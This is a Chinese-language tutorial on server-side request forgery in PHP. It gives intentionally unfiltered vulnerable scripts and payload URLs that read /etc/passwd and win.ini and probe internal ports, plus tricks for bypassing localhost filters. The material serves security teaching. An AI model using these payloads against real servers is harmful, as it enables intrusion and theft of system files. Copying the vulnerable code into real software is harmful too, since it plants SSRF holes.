0x00 文章资料提供的地址

安全课-SSRF绕过方法总结: https://www.secpulse.com/archives/65832.html

0x01 推荐查看的文章

推荐先查看文章-浅谈PHP-伪协议: https://www.yuque.com/pmiaowu/web_security_1/lnq3co

0x02 漏洞描述

服务端请求伪造 (Server-Side Request Forgery)。

由攻击者构造带有攻击的请求传给服务器执行造成的漏洞。

一般是使用它在外网探测数据或是攻击内网服务。

0x03 SSRF 漏洞作用

  1. 内网ip/端口扫描
  2. 服务器敏感数据读取
  3. 内网主机应用程序漏洞利用
  4. 内网web站点漏洞利用

0x04 SSRF漏洞的常见的位置

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  3. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  4. 开发平台接口测试工具:一些公司会把自己的一些接口开放出来,形成第三方接口。这个时候他们通常会开发一个用于测试自己接口是否连通的web,给这些程序员测试接口,如果没有过滤好,就会造成ssrf

0x05 相关函数

  1. file_get_contents()
  2. fsockopen()
  3. curl_exec()

以上三个函数使用不当会造成SSRF漏洞

需要注意的是:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

0x06 SSRF 漏洞基本利用

curl_exec

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. function curl($url){
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL, $url);
  7. curl_setopt($ch, CURLOPT_HEADER, 0);
  8. curl_exec($ch);
  9. curl_close($ch);
  10. }
  11. $url = $_GET['url'];
  12. curl($url);
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
  5. # 利用dict探测端口
  6. # 开启访问的端口时会返回很快,如果没开启就会延迟一下
  7. 访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80
  8. 访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:6379/info
  9. # 使用http协议探测端口
  10. # 开启访问的端口时会返回很快,如果没开启就会延迟一下
  11. 访问: http://atest.test/ssrf-test.php?url=http://127.0.0.1:80

file_get_contents

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. $url = $_GET['url'];;
  5. echo file_get_contents($url);
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd

fsockopen

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. $host=$_GET['url'];
  5. $fp = fsockopen("$host", 80, $errno, $errstr, 30);
  6. if (!$fp) {
  7. echo "$errstr ($errno)<br />\n";
  8. } else {
  9. $out = "GET / HTTP/1.1\r\n";
  10. $out .= "Host: $host\r\n";
  11. $out .= "Connection: Close\r\n\r\n";
  12. fwrite($fp, $out);
  13. while (!feof($fp)) {
  14. echo fgets($fp, 128);
  15. }
  16. fclose($fp);
  17. }
  18. ?>
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd

0x07 基本绕过方法

攻击本地

  1. http://127.0.0.1:80
  2. http://localhost:22

利用[::]

  1. 利用[::]绕过localhost
  2. http://[::]:80/ >>> http://127.0.0.1

利用@

  1. http://example.com@127.0.0.1

利用短地址

  1. http://dwz.cn/11SMa >>> http://127.0.0.1

利用DNS解析

在域名上设置A记录,指向127.0.1
购买一个域名例如我购买了一个 phpoop.com 这个域名
我把 www.phpoop.com 指向127.0.1

网络地址可以转换成数字地址

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433 或者 http://0x7F000001,这样就可以绕过.的ip过滤

在线转换地址: http://www.msxindl.com/tools/ip/ip_num.asp